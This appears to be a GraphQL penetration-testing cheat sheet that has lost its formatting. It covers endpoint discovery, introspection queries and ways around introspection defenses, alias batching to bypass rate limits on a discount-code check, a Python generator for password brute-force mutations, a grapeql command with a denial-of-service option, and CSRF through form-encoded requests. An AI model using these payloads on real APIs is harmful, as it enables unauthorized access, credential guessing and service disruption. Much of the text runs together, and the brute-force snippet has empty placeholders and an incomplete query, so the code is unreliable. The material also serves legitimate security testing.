Automatic Exploitation
grapeql --api {url}/{graphql_endpoint} --report report.md
--dos to try denial of service attacks--proxy {http://127.0.0.1:8080} to proxy thru Burpclient.py to allow for passing a schema:response, error = await self.graphql_query(query)
if os.path.exists("schema.json"):
with open("schema.json", "r") as f:
response = json.load(f)
schema_data = response.get("data", {}).get("__schema")
elif error or not response:
Finding GraphQL Endpoints
query{__typename}/graphql, /api, /api/graphql, /graphql/api, graphql/graphqlv1 or v2 in the path start/endExploiting Unsanitized Arguments
query {products {id name listed}}query {products(id: 3) {id name listed}}Discovering Schema Information
There is no entry for 'productInfo'. Did you mean 'productInformation' instead?query{__schema}{"query": "{__schema{queryType{name}}}"}Save GraphQL queries to site mapvariables parameter where input is specifiedBypassing Introspection Defenses
__schema{ keyword
__schema (which are ignored by GraphQL)x-www-form-urlencoded
?query=query%7B__schema%7BqueryType%7Bname%7D%7D%7D%0A for a newlineBypassing Rate Limiting
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
[mutations_code_here] with \n{mutations}\n (Github markdown issue)import json
with open("wordlist.txt") as f:
passwords = [line.strip() for line in f]
mutations = "\n".join(
f'bruteforce{i}: [function](input: ) '
for i, pw in enumerate(passwords)
)
graphql_query = {
"query": f"mutation "
}
print(json.dumps(graphql_query, indent=2))
GraphQL CSRF
application/json are secure as long as content type is validatedx-www-form-urlencoded, since they can be sent by a browser
= and &)
{, }, and : (along with other special chars) are URL encoded